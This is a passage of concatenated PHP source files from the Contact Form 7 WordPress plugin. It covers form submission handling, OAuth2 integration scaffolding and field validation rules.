						$this->set_status( 'aborted' );
					}

					if ( '' === $this->get_response() ) {
						$this->set_response( $contact_form->filter_message(
							__( "Sending mail has been aborted.", 'contact-form-7' ) )
						);
					}
				} elseif ( $this->mail() ) {
					$this->set_status( 'mail_sent' );
					$this->set_response( $contact_form->message( 'mail_sent_ok' ) );

					do_action( 'wpcf7_mail_sent', $contact_form );
				} else {
					$this->set_status( 'mail_failed' );
					$this->set_response( $contact_form->message( 'mail_sent_ng' ) );

					do_action( 'wpcf7_mail_failed', $contact_form );
				}
			}
		};

		wpcf7_switch_locale( $this->contact_form->locale(), $callback );
	}


	/**
	 * Returns the current status property.
	 */
	public function get_status() {
		return $this->status;
	}


	/**
	 * Sets the status property.
	 *
	 * @param string $status The status.
	 */
	public function set_status( $status ) {
		if ( preg_match( '/^[a-z][0-9a-z_]+$/', $status ) ) {
			$this->status = $status;
			return true;
		}

		return false;
	}


	/**
	 * Returns true if the specified status is identical to the current
	 * status property.
	 *
	 * @param string $status The status to compare.
	 */
	public function is( $status ) {
		return $this->status === $status;
	}


	/**
	 * Returns an associative array of submission result properties.
	 *
	 * @return array Submission result properties.
	 */
	public function get_result() {
		$result = array_merge( $this->result_props, array(
			'status' => $this->get_status(),
			'message' => $this->get_response(),
		) );

		if ( $this->is( 'validation_failed' ) ) {
			$result['invalid_fields'] = $this->get_invalid_fields();
		}

		switch ( $this->get_status() ) {
			case 'init':
			case 'validation_failed':
			case 'acceptance_missing':
			case 'spam':
				$result['posted_data_hash'] = '';
				break;
			default:
				$result['posted_data_hash'] = $this->get_posted_data_hash();
				break;
		}

		$result = apply_filters( 'wpcf7_submission_result', $result, $this );

		return $result;
	}


	/**
	 * Adds items to the array of submission result properties.
	 *
	 * @param string|array|object $data Value to add to result properties.
	 * @return array Added result properties.
	 */
	public function add_result_props( $data = '' ) {
		$data = wp_parse_args( $data, array() );

		$this->result_props = array_merge( $this->result_props, $data );

		return $data;
	}


	/**
	 * Retrieves the response property.
	 *
	 * @return string The current response property value.
	 */
	public function get_response() {
		return $this->response;
	}


	/**
	 * Sets the response property.
	 *
	 * @param string $response New response property value.
	 */
	public function set_response( $response ) {
		$this->response = $response;
		return true;
	}


	/**
	 * Retrieves the contact form property.
	 *
	 * @return WPCF7_ContactForm A contact form object.
	 */
	public function get_contact_form() {
		return $this->contact_form;
	}


	/**
	 * Search an invalid field by field name.
	 *
	 * @param string $name The field name.
	 * @return array|bool An associative array of validation error
	 *                    or false when no invalid field.
	 */
	public function get_invalid_field( $name ) {
		return $this->invalid_fields[$name] ?? false;
	}


	/**
	 * Retrieves all invalid fields.
	 *
	 * @return array Invalid fields.
	 */
	public function get_invalid_fields() {
		return $this->invalid_fields;
	}


	/**
	 * Retrieves meta information.
	 *
	 * @param string $name Name of the meta information.
	 * @return string|null The meta information of the given name if it exists,
	 *                     null otherwise.
	 */
	public function get_meta( $name ) {
		return $this->meta[$name] ?? null;
	}


	/**
	 * Collects meta information about this submission.
	 */
	private function setup_meta_data() {
		$this->meta = array(
			'timestamp' => time(),
			'remote_ip' => $this->get_remote_ip_addr(),
			'remote_port' => $_SERVER['REMOTE_PORT'] ?? '',
			'user_agent' => substr( $_SERVER['HTTP_USER_AGENT'] ?? '', 0, 254 ),
			'url' => $this->get_request_url(),
			'unit_tag' => wpcf7_sanitize_unit_tag( $_POST['_wpcf7_unit_tag'] ?? '' ),
			'container_post_id' => absint( $_POST['_wpcf7_container_post'] ?? 0 ),
			'current_user_id' => get_current_user_id(),
			'do_not_store' => $this->contact_form->is_true( 'do_not_store' ),
		);

		return $this->meta;
	}


	/**
	 * Retrieves user input data through this submission.
	 *
	 * @param string $name Optional field name.
	 * @return string|array|null The user input of the field, or array of all
	 *                           fields values if no field name specified.
	 */
	public function get_posted_data( $name = '' ) {
		if ( ! empty( $name ) ) {
			return $this->posted_data[$name] ?? null;
		}

		return $this->posted_data;
	}


	/**
	 * Retrieves a user input string value through the specified field.
	 *
	 * @param string $name Field name.
	 * @return string The user input. If the input is an array,
	 *                the first item in the array.
	 */
	public function get_posted_string( $name ) {
		$data = $this->get_posted_data( $name );
		$data = wpcf7_array_flatten( $data );

		if ( empty( $data ) ) {
			return '';
		}

		// Returns the first array item.
		return trim( reset( $data ) );
	}


	/**
	 * Constructs posted data property based on user input values.
	 */
	private function setup_posted_data() {
		$posted_data = array_filter(
			(array) $_POST,
			static function ( $key ) {
				return ! str_starts_with( $key, '_' );
			},
			ARRAY_FILTER_USE_KEY
		);

		$posted_data = wp_unslash( $posted_data );
		$posted_data = $this->sanitize_posted_data( $posted_data );

		$tags = $this->contact_form->scan_form_tags( array(
			'feature' => array(
				'name-attr',
				'! not-for-mail',
			),
		) );

		$tags = array_reduce( $tags, static function ( $carry, $tag ) {
			if ( $tag->name and ! isset( $carry[$tag->name] ) ) {
				$carry[$tag->name] = $tag;
			}

			return $carry;
		}, array() );

		foreach ( $tags as $tag ) {
			$value_orig = $value = $posted_data[$tag->name] ?? '';

			if ( wpcf7_form_tag_supports( $tag->type, 'selectable-values' ) ) {
				$value = ( '' === $value ) ? array() : (array) $value;

				if ( WPCF7_USE_PIPE ) {
					$pipes = $this->contact_form->get_pipes( $tag->name );

					$value = array_map( static function ( $value ) use ( $pipes ) {
						return $pipes->do_pipe( $value );
					}, $value );
				}
			}

			$value = apply_filters( "wpcf7_posted_data_{$tag->type}",
				$value,
				$value_orig,
				$tag
			);

			$posted_data[$tag->name] = $value;

			if ( $tag->has_option( 'consent_for:storage' ) and empty( $value ) ) {
				$this->meta['do_not_store'] = true;
			}
		}

		$this->posted_data = apply_filters( 'wpcf7_posted_data', $posted_data );

		$this->posted_data_hash = $this->create_posted_data_hash();

		return $this->posted_data;
	}


	/**
	 * Sanitizes user input data.
	 */
	private function sanitize_posted_data( $value ) {
		if ( is_array( $value ) ) {
			$value = array_map( array( $this, 'sanitize_posted_data' ), $value );
		} elseif ( is_string( $value ) ) {
			$value = wp_check_invalid_utf8( $value );
			$value = wp_kses_no_null( $value );
			$value = wpcf7_strip_whitespaces( $value );
		}

		return $value;
	}


	/**
	 * Returns the time-dependent variable for hash creation.
	 *
	 * @return float Float value rounded up to the next highest integer.
	 */
	private function posted_data_hash_tick() {
		return ceil( time() / ( HOUR_IN_SECONDS / 2 ) );
	}


	/**
	 * Creates a hash string based on posted data, the remote IP address,
	 * contact form location, and window of time.
	 *
	 * @param string $tick Optional. If not specified, result of
	 *               posted_data_hash_tick() will be used.
	 * @return string The hash.
	 */
	private function create_posted_data_hash( $tick = '' ) {
		if ( '' === $tick ) {
			$tick = $this->posted_data_hash_tick();
		}

		$hash = wp_hash(
			wpcf7_flat_join( array_merge(
				array(
					$tick,
					$this->get_meta( 'remote_ip' ),
					$this->get_meta( 'unit_tag' ),
				),
				$this->posted_data
			) ),
			'wpcf7_submission'
		);

		return $hash;
	}


	/**
	 * Returns the hash string created for this submission.
	 *
	 * @return string The current hash for the submission.
	 */
	public function get_posted_data_hash() {
		return $this->posted_data_hash;
	}


	/**
	 * Verifies that the given string is equivalent to the posted data hash.
	 *
	 * @param string $hash Optional. This value will be compared to the
	 *               current posted data hash for the submission. If not
	 *               specified, the value of $_POST['_wpcf7_posted_data_hash']
	 *               will be used.
	 * @return int|bool 1 if $hash is created 0-30 minutes ago,
	 *                  2 if $hash is created 30-60 minutes ago,
	 *                  false if $hash is invalid.
	 */
	public function verify_posted_data_hash( $hash = '' ) {
		if ( '' === $hash and ! empty( $_POST['_wpcf7_posted_data_hash'] ) ) {
			$hash = trim( $_POST['_wpcf7_posted_data_hash'] );
		}

		if ( '' === $hash ) {
			return false;
		}

		$tick = $this->posted_data_hash_tick();

		// Hash created 0-30 minutes ago.
		$expected_1 = $this->create_posted_data_hash( $tick );

		if ( hash_equals( $expected_1, $hash ) ) {
			return 1;
		}

		// Hash created 30-60 minutes ago.
		$expected_2 = $this->create_posted_data_hash( $tick - 1 );

		if ( hash_equals( $expected_2, $hash ) ) {
			return 2;
		}

		return false;
	}


	/**
	 * Retrieves the remote IP address of this submission.
	 */
	private function get_remote_ip_addr() {
		$ip_addr = '';

		if ( isset( $_SERVER['REMOTE_ADDR'] )
		and WP_Http::is_ip_address( $_SERVER['REMOTE_ADDR'] ) ) {
			$ip_addr = $_SERVER['REMOTE_ADDR'];
		}

		return apply_filters( 'wpcf7_remote_ip_addr', $ip_addr );
	}


	/**
	 * Retrieves the request URL of this submission.
	 */
	private function get_request_url() {
		$home_url = untrailingslashit( home_url() );

		if ( self::is_restful() ) {
			$referer = trim( $_SERVER['HTTP_REFERER'] ?? '' );

			if ( $referer and str_starts_with( $referer, $home_url ) ) {
				return sanitize_url( $referer );
			}
		}

		$url = preg_replace( '%(?<!:|/)/.*$%', '', $home_url )
			. wpcf7_get_request_uri();

		return $url;
	}


	/**
	 * Runs user input validation.
	 *
	 * @return bool True if no invalid field is found.
	 */
	private function validate() {
		if ( $this->invalid_fields ) {
			return false;
		}

		$result = new WPCF7_Validation();

		$this->contact_form->validate_schema(
			array(
				'text' => true,
				'file' => false,
				'field' => array(),
			),
			$result
		);

		$tags = $this->contact_form->scan_form_tags( array(
		  'feature' => '! file-uploading',
		) );

		foreach ( $tags as $tag ) {
			$type = $tag->type;
			$result = apply_filters( "wpcf7_validate_{$type}", $result, $tag );
		}

		$result = apply_filters( 'wpcf7_validate', $result, $tags );

		$this->invalid_fields = $result->get_invalid_fields();

		return $result->is_valid();
	}


	/**
	 * Returns true if user consent is obtained.
	 */
	private function accepted() {
		return apply_filters( 'wpcf7_acceptance', true, $this );
	}


	/**
	 * Adds user consent data to this submission.
	 *
	 * @param string $name Field name.
	 * @param string $conditions Conditions of consent.
	 */
	public function add_consent( $name, $conditions ) {
		$this->consent[$name] = $conditions;
		return true;
	}


	/**
	 * Collects user consent data.
	 *
	 * @return array User consent data.
	 */
	public function collect_consent() {
		return (array) $this->consent;
	}


	/**
	 * Executes spam protections.
	 *
	 * @return bool True if spam captured.
	 */
	private function spam() {
		$spam = false;

		$skip_spam_check = apply_filters( 'wpcf7_skip_spam_check',
			$this->skip_spam_check,
			$this
		);

		if ( $skip_spam_check ) {
			return $spam;
		}

		if ( $this->contact_form->is_true( 'subscribers_only' )
		and current_user_can( 'wpcf7_submit', $this->contact_form->id() ) ) {
			return $spam;
		}

		$user_agent = (string) $this->get_meta( 'user_agent' );

		if ( strlen( $user_agent ) < 2 ) {
			$spam = true;

			$this->add_spam_log( array(
				'agent' => 'wpcf7',
				'reason' => __( "User-Agent string is unnaturally short.", 'contact-form-7' ),
			) );
		}

		if ( ! $this->verify_nonce() ) {
			$spam = true;

			$this->add_spam_log( array(
				'agent' => 'wpcf7',
				'reason' => __( "Submitted nonce is invalid.", 'contact-form-7' ),
			) );
		}

		return apply_filters( 'wpcf7_spam', $spam, $this );
	}


	/**
	 * Adds a spam log.
	 *
	 * @link https://contactform7.com/2019/05/31/why-is-this-message-marked-spam/
	 */
	public function add_spam_log( $data = '' ) {
		$data = wp_parse_args( $data, array(
			'agent' => '',
			'reason' => '',
		) );

		$this->spam_log[] = $data;
	}


	/**
	 * Retrieves the spam logging data.
	 *
	 * @return array Spam logging data.
	 */
	public function get_spam_log() {
		return $this->spam_log;
	}


	/**
	 * Verifies that a correct security nonce was used.
	 */
	private function verify_nonce() {
		if ( ! $this->contact_form->nonce_is_active() or ! is_user_logged_in() ) {
			return true;
		}

		$nonce = $_POST['_wpnonce'] ?? '';

		return wpcf7_verify_nonce( $nonce );
	}


	/**
	 * Function called just before sending email.
	 */
	private function before_send_mail() {
		$abort = false;

		do_action_ref_array( 'wpcf7_before_send_mail', array(
			$this->contact_form,
			&$abort,
			$this,
		) );

		return ! $abort;
	}


	/**
	 * Sends emails based on user input values and contact form email templates.
	 */
	private function mail() {
		$contact_form = $this->contact_form;

		$skip_mail = apply_filters( 'wpcf7_skip_mail',
			$this->skip_mail, $contact_form
		);

		if ( $skip_mail ) {
			return true;
		}

		$result = WPCF7_Mail::send( $contact_form->prop( 'mail' ), 'mail' );

		if ( $result ) {
			$additional_mail = array();

			if ( $mail_2 = $contact_form->prop( 'mail_2' )
			and $mail_2['active'] ) {
				$additional_mail['mail_2'] = $mail_2;
			}

			$additional_mail = apply_filters( 'wpcf7_additional_mail',
				$additional_mail, $contact_form
			);

			foreach ( $additional_mail as $name => $template ) {
				WPCF7_Mail::send( $template, $name );
			}

			return true;
		}

		return false;
	}


	/**
	 * Retrieves files uploaded through this submission.
	 */
	public function uploaded_files() {
		return $this->uploaded_files;
	}


	/**
	 * Adds a file to the uploaded files array.
	 *
	 * @param string $name Field name.
	 * @param string|array $file_path File path or array of file paths.
	 */
	private function add_uploaded_file( $name, $file_path ) {
		if ( ! wpcf7_is_name( $name ) ) {
			return false;
		}

		$paths = (array) $file_path;
		$uploaded_files = array();
		$hash_strings = array();

		foreach ( $paths as $path ) {
			if ( @is_file( $path ) and @is_readable( $path ) ) {
				$uploaded_files[] = $path;
				$hash_strings[] = md5_file( $path );
			}
		}

		$this->uploaded_files[$name] = $uploaded_files;

		if ( empty( $this->posted_data[$name] ) ) {
			$this->posted_data[$name] = implode( ' ', $hash_strings );
		}
	}


	/**
	 * Removes uploaded files.
	 */
	private function remove_uploaded_files() {
		foreach ( (array) $this->uploaded_files as $file_path ) {
			$paths = (array) $file_path;

			foreach ( $paths as $path ) {
				wpcf7_rmdir_p( $path );

				if ( $dir = dirname( $path )
				and false !== ( $files = scandir( $dir ) )
				and ! array_diff( $files, array( '.', '..' ) ) ) {
					// remove parent dir if it's empty.
					rmdir( $dir );
				}
			}
		}
	}


	/**
	 * Moves uploaded files to the tmp directory and validates them.
	 *
	 * @return bool True if no invalid file is found.
	 */
	private function unship_uploaded_files() {
		$result = new WPCF7_Validation();

		$tags = $this->contact_form->scan_form_tags( array(
			'feature' => 'file-uploading',
		) );

		foreach ( $tags as $tag ) {
			if ( empty( $_FILES[$tag->name] ) ) {
				continue;
			}

			$file = $_FILES[$tag->name];

			$options = array(
				'tag' => $tag,
				'name' => $tag->name,
				'required' => $tag->is_required(),
				'filetypes' => $tag->get_option( 'filetypes' ),
				'limit' => $tag->get_limit_option(),
				'schema' => $this->contact_form->get_schema(),
			);

			$new_files = wpcf7_unship_uploaded_file( $file, $options );

			if ( is_wp_error( $new_files ) ) {
				$result->invalidate( $tag, $new_files );
			} else {
				$this->add_uploaded_file( $tag->name, $new_files );
			}

			$result = apply_filters(
				"wpcf7_validate_{$tag->type}",
				$result, $tag,
				array(
					'uploaded_files' => $new_files,
				)
			);
		}

		$this->invalid_fields = $result->get_invalid_fields();

		return $result->is_valid();
	}


	/**
	 * Adds extra email attachment files that are independent from form fields.
	 *
	 * @param string|array $file_path A file path or an array of file paths.
	 * @param string $template Optional. The name of the template to which
	 *                         the files are attached.
	 * @return bool True if it succeeds to attach a file at least,
	 *              or false otherwise.
	 */
	public function add_extra_attachments( $file_path, $template = 'mail' ) {
		if ( ! did_action( 'wpcf7_before_send_mail' ) ) {
			return false;
		}

		$extra_attachments = array();

		foreach ( (array) $file_path as $path ) {
			$path = path_join( WP_CONTENT_DIR, $path );

			if ( file_exists( $path ) ) {
				$extra_attachments[] = $path;
			}
		}

		if ( empty( $extra_attachments ) ) {
			return false;
		}

		if ( ! isset( $this->extra_attachments[$template] ) ) {
			$this->extra_attachments[$template] = array();
		}

		$this->extra_attachments[$template] = array_merge(
			$this->extra_attachments[$template],
			$extra_attachments
		);

		return true;
	}


	/**
	 * Returns extra email attachment files.
	 *
	 * @param string $template An email template name.
	 * @return array Array of file paths.
	 */
	public function extra_attachments( $template ) {
		if ( isset( $this->extra_attachments[$template] ) ) {
			return (array) $this->extra_attachments[$template];
		}

		return array();
	}

}
contact-form-7/includes/integration.php000064400000021373147510273060014161 0ustar00<?php
/**
 * Integration API
 *
 * @link https://contactform7.com/integration-with-external-apis/
 */

class WPCF7_Integration {

	private static $instance;

	private $services = array();
	private $categories = array();

	private function __construct() {}


	/**
	 * Returns initially supported service categories.
	 *
	 * @return array Service categories.
	 */
	public static function get_builtin_categories() {
		return array(
			'spam_protection' => __( 'Spam protection', 'contact-form-7' ),
			'email_marketing' => __( 'Email marketing', 'contact-form-7' ),
			'payments' => __( 'Payments', 'contact-form-7' ),
		);
	}


	/**
	 * Returns the singleton instance of this class.
	 *
	 * @return WPCF7_Integration The instance.
	 */
	public static function get_instance() {
		if ( empty( self::$instance ) ) {
			self::$instance = new self;
			self::$instance->categories = self::get_builtin_categories();
		}

		return self::$instance;
	}


	/**
	 * Adds a service to the services list.
	 */
	public function add_service( $name, WPCF7_Service $service ) {
		$name = sanitize_key( $name );

		if ( empty( $name )
		or isset( $this->services[$name] ) ) {
			return false;
		}

		$this->services[$name] = $service;
	}


	/**
	 * Adds a service category to the categories list.
	 */
	public function add_category( $name, $title ) {
		$name = sanitize_key( $name );

		if ( empty( $name )
		or isset( $this->categories[$name] ) ) {
			return false;
		}

		$this->categories[$name] = $title;
	}


	/**
	 * Returns true if a service with the name exists in the services list.
	 *
	 * @param string $name The name of service to search.
	 */
	public function service_exists( $name = '' ) {
		if ( '' == $name ) {
			return (bool) count( $this->services );
		} else {
			return isset( $this->services[$name] );
		}
	}


	/**
	 * Returns a service object with the name.
	 *
	 * @param string $name The name of service.
	 * @return WPCF7_Service|bool The service object if it exists,
	 *                            false otherwise.
	 */
	public function get_service( $name ) {
		if ( $this->service_exists( $name ) ) {
			return $this->services[$name];
		} else {
			return false;
		}
	}


	/**
	 * Prints services list.
	 */
	public function list_services( $args = '' ) {
		$args = wp_parse_args( $args, array(
			'include' => array(),
		) );

		$singular = false;
		$services = (array) $this->services;

		if ( ! empty( $args['include'] ) ) {
			$services = array_intersect_key( $services,
				array_flip( (array) $args['include'] )
			);

			if ( 1 == count( $services ) ) {
				$singular = true;
			}
		}

		if ( empty( $services ) ) {
			return;
		}

		$action = wpcf7_current_action();

		foreach ( $services as $name => $service ) {
			$cats = array_intersect_key( $this->categories,
				array_flip( $service->get_categories() )
			);
?>
<div class="card<?php echo $service->is_active() ? ' active' : ''; ?>" id="<?php echo esc_attr( $name ); ?>">
<?php $service->icon(); ?>
<h2 class="title"><?php echo esc_html( $service->get_title() ); ?></h2>
<div class="infobox">
<?php echo esc_html( implode( ', ', $cats ) ); ?>
<br />
<?php $service->link(); ?>
</div>
<br class="clear" />

<div class="inside">
<?php
			if ( $singular ) {
				$service->display( $action );
			} else {
				$service->display();
			}
?>
</div>
</div>
<?php
		}
	}

}


/**
 * Abstract class for services.
 *
 * Only instances of this class's subclasses are allowed to be
 * listed on the Integration page.
 */
abstract class WPCF7_Service {

	abstract public function get_title();
	abstract public function is_active();


	public function get_categories() {
		return array();
	}


	public function icon() {
		return '';
	}


	public function link() {
		return '';
	}


	public function load( $action = '' ) {
	}


	public function display( $action = '' ) {
	}


	public function admin_notice( $message = '' ) {
	}

}


/**
 * Class for services that use OAuth.
 *
 * While this is not an abstract class, subclassing this class for
 * your aim is advised.
 */
class WPCF7_Service_OAuth2 extends WPCF7_Service {

	protected $client_id = '';
	protected $client_secret = '';
	protected $access_token = '';
	protected $refresh_token = '';
	protected $authorization_endpoint = 'https://example.com/authorization';
	protected $token_endpoint = 'https://example.com/token';


	public function get_title() {
		return '';
	}


	public function is_active() {
		return ! empty( $this->refresh_token );
	}


	protected function save_data() {
	}


	protected function reset_data() {
	}


	protected function get_redirect_uri() {
		return admin_url();
	}


	protected function menu_page_url( $args = '' ) {
		return menu_page_url( 'wpcf7-integration', false );
	}


	public function load( $action = '' ) {
		if ( 'auth_redirect' === $action ) {
			$code = $_GET['code'] ?? '';

			if ( $code ) {
				$this->request_token( $code );
			}

			if ( ! empty( $this->access_token ) ) {
				$message = 'success';
			} else {
				$message = 'failed';
			}

			wp_safe_redirect( $this->menu_page_url(
				array(
					'action' => 'setup',
					'message' => $message,
				)
			) );

			exit();
		}
	}


	protected function authorize( $scope = '' ) {
		$endpoint = add_query_arg(
			array(
				'response_type' => 'code',
				'client_id' => $this->client_id,
				'redirect_uri' => urlencode( $this->get_redirect_uri() ),
				'scope' => $scope,
			),
			$this->authorization_endpoint
		);

		if ( wp_redirect( sanitize_url( $endpoint ) ) ) {
			exit();
		}
	}


	protected function get_http_authorization_header( $scheme = 'basic' ) {
		$scheme = strtolower( trim( $scheme ) );

		switch ( $scheme ) {
			case 'bearer':
				return sprintf( 'Bearer %s', $this->access_token );
			case 'basic':
			default:
				return sprintf( 'Basic %s',
					base64_encode( $this->client_id . ':' . $this->client_secret )
				);
		}
	}


	protected function request_token( $authorization_code ) {
		$endpoint = add_query_arg(
			array(
				'code' => $authorization_code,
				'redirect_uri' => urlencode( $this->get_redirect_uri() ),
				'grant_type' => 'authorization_code',
			),
			$this->token_endpoint
		);

		$request = array(
			'headers' => array(
				'Authorization' => $this->get_http_authorization_header( 'basic' ),
			),
		);

		$response = wp_remote_post( sanitize_url( $endpoint ), $request );
		$response_code = (int) wp_remote_retrieve_response_code( $response );
		$response_body = wp_remote_retrieve_body( $response );
		$response_body = json_decode( $response_body, true );

		if ( WP_DEBUG and 400 <= $response_code ) {
			$this->log( $endpoint, $request, $response );
		}

		if ( 401 == $response_code ) { // Unauthorized
			$this->access_token = null;
			$this->refresh_token = null;
		} else {
			if ( isset( $response_body['access_token'] ) ) {
				$this->access_token = $response_body['access_token'];
			} else {
				$this->access_token = null;
			}

			if ( isset( $response_body['refresh_token'] ) ) {
				$this->refresh_token = $response_body['refresh_token'];
			} else {
				$this->refresh_token = null;
			}
		}

		$this->save_data();

		return $response;
	}


	protected function refresh_token() {
		$endpoint = add_query_arg(
			array(
				'refresh_token' => $this->refresh_token,
				'grant_type' => 'refresh_token',
			),
			$this->token_endpoint
		);

		$request = array(
			'headers' => array(
				'Authorization' => $this->get_http_authorization_header( 'basic' ),
			),
		);

		$response = wp_remote_post( sanitize_url( $endpoint ), $request );
		$response_code = (int) wp_remote_retrieve_response_code( $response );
		$response_body = wp_remote_retrieve_body( $response );
		$response_body = json_decode( $response_body, true );

		if ( WP_DEBUG and 400 <= $response_code ) {
			$this->log( $endpoint, $request, $response );
		}

		if ( 401 == $response_code ) { // Unauthorized
			$this->access_token = null;
			$this->refresh_token = null;
		} else {
			if ( isset( $response_body['access_token'] ) ) {
				$this->access_token = $response_body['access_token'];
			} else {
				$this->access_token = null;
			}

			if ( isset( $response_body['refresh_token'] ) ) {
				$this->refresh_token = $response_body['refresh_token'];
			}
		}

		$this->save_data();

		return $response;
	}


	protected function remote_request( $url, $request = array() ) {
		static $refreshed = false;

		$request = wp_parse_args( $request, array() );

		$request['headers'] = array_merge(
			$request['headers'],
			array(
				'Authorization' => $this->get_http_authorization_header( 'bearer' ),
			)
		);

		$response = wp_remote_request( sanitize_url( $url ), $request );

		if ( 401 === wp_remote_retrieve_response_code( $response )
		and ! $refreshed ) {
			$this->refresh_token();
			$refreshed = true;

			$response = $this->remote_request( $url, $request );
		}

		return $response;
	}


	protected function log( $url, $request, $response ) {
		wpcf7_log_remote_request( $url, $request, $response );
	}

}
contact-form-7/includes/swv/schema-holder.php000064400000001726147510273060015170 0ustar00<?php

trait WPCF7_SWV_SchemaHolder {

	protected $schema;


	/**
	 * Retrieves SWV schema for this holder object (contact form).
	 *
	 * @return WPCF7_SWV_Schema The schema object.
	 */
	public function get_schema() {
		if ( isset( $this->schema ) ) {
			return $this->schema;
		}

		$schema = new WPCF7_SWV_Schema( array(
			'locale' => isset( $this->locale ) ? $this->locale : '',
		) );

		do_action( 'wpcf7_swv_create_schema', $schema, $this );

		return $this->schema = $schema;
	}


	/**
	 * Validates form inputs based on the schema and given context.
	 */
	public function validate_schema( $context, WPCF7_Validation $validity ) {
		$schema = $this->get_schema();

		foreach ( $schema->validate( $context ) as $result ) {
			if ( is_wp_error( $result ) ) {
				$rule = $result->get_error_data();
				$field = $rule->get_property( 'field' );

				if ( isset( $field ) and $validity->is_valid( $field ) ) {
					$validity->invalidate( $field, $result );
				}
			}
		}
	}

}
contact-form-7/includes/swv/php/rules/file.php000064400000002437147510273060015315 0ustar00<?php

namespace Contactable\SWV;

class FileRule extends Rule {

	const rule_name = 'file';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['file'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$field = $this->get_property( 'field' );
		$input = $_FILES[$field]['name'] ?? '';
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_exclude_blank( $input );

		$acceptable_filetypes = array();

		foreach ( (array) $this->get_property( 'accept' ) as $accept ) {
			if ( preg_match( '/^\.[a-z0-9]+$/i', $accept ) ) {
				$acceptable_filetypes[] = strtolower( $accept );
			} else {
				foreach ( wpcf7_convert_mime_to_ext( $accept ) as $ext ) {
					$acceptable_filetypes[] = sprintf(
						'.%s',
						strtolower( trim( $ext, ' .' ) )
					);
				}
			}
		}

		$acceptable_filetypes = array_unique( $acceptable_filetypes );

		foreach ( $input as $i ) {
			$last_period_pos = strrpos( $i, '.' );

			if ( false === $last_period_pos ) { // no period
				return $this->create_error();
			}

			$suffix = strtolower( substr( $i, $last_period_pos ) );

			if ( ! in_array( $suffix, $acceptable_filetypes, true ) ) {
				return $this->create_error();
			}
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/maxlength.php000064400000001442147510273060016360 0ustar00<?php

namespace Contactable\SWV;

class MaxLengthRule extends Rule {

	const rule_name = 'maxlength';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		if ( empty( $input ) ) {
			return true;
		}

		$total = 0;

		foreach ( $input as $i ) {
			$total += wpcf7_count_code_units( $i );
		}

		$threshold = (int) $this->get_property( 'threshold' );

		if ( $total <= $threshold ) {
			return true;
		} else {
			return $this->create_error();
		}
	}

}
contact-form-7/includes/swv/php/rules/minfilesize.php000064400000001305147510273060016705 0ustar00<?php

namespace Contactable\SWV;

class MinFileSizeRule extends Rule {

	const rule_name = 'minfilesize';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['file'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$field = $this->get_property( 'field' );
		$input = $_FILES[$field]['size'] ?? '';
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_exclude_blank( $input );

		if ( empty( $input ) ) {
			return true;
		}

		$threshold = $this->get_property( 'threshold' );

		if ( array_sum( $input ) < $threshold ) {
			return $this->create_error();
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/minlength.php000064400000001442147510273060016356 0ustar00<?php

namespace Contactable\SWV;

class MinLengthRule extends Rule {

	const rule_name = 'minlength';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		if ( empty( $input ) ) {
			return true;
		}

		$total = 0;

		foreach ( $input as $i ) {
			$total += wpcf7_count_code_units( $i );
		}

		$threshold = (int) $this->get_property( 'threshold' );

		if ( $threshold <= $total ) {
			return true;
		} else {
			return $this->create_error();
		}
	}

}
contact-form-7/includes/swv/php/rules/stepnumber.php000064400000001671147510273060016561 0ustar00<?php

namespace Contactable\SWV;

class StepNumberRule extends Rule {

	const rule_name = 'stepnumber';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$base = floatval( $this->get_property( 'base' ) );
		$interval = floatval( $this->get_property( 'interval' ) );

		if ( ! ( 0 < $interval ) ) {
			return true;
		}

		foreach ( $input as $i ) {
			$remainder = fmod( floatval( $i ) - $base, $interval );

			if (
				0.0 === round( abs( $remainder ), 6 ) or
				0.0 === round( abs( $remainder - $interval ), 6 )
			) {
				continue;
			}

			return $this->create_error();
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/minitems.php000064400000001321147510273060016212 0ustar00<?php

namespace Contactable\SWV;

class MinItemsRule extends Rule {

	const rule_name = 'minitems';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		$threshold = $this->get_property( 'threshold' );

		if ( ! wpcf7_is_number( $threshold ) ) {
			return true;
		}

		if ( count( $input ) < (int) $threshold ) {
			return $this->create_error();
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/required.php000064400000001112147510273060016203 0ustar00<?php

namespace Contactable\SWV;

class RequiredRule extends Rule {

	const rule_name = 'required';

	public function matches( $context ) {
		if ( false === parent::matches( $context ) ) {
			return false;
		}

		if ( empty( $context['text'] ) ) {
			return false;
		}

		return true;
	}

	public function validate( $context ) {
		$input = $this->get_default_input();
		$input = wpcf7_array_flatten( $input );
		$input = wpcf7_strip_whitespaces( $input );
		$input = wpcf7_exclude_blank( $input );

		if ( empty( $input ) ) {
			return $this->create_error();
		}

		return true;
	}

}
contact-form-7/includes/swv/php/rules/all.php000064400000001114147510273060015135 0ustar00<?php

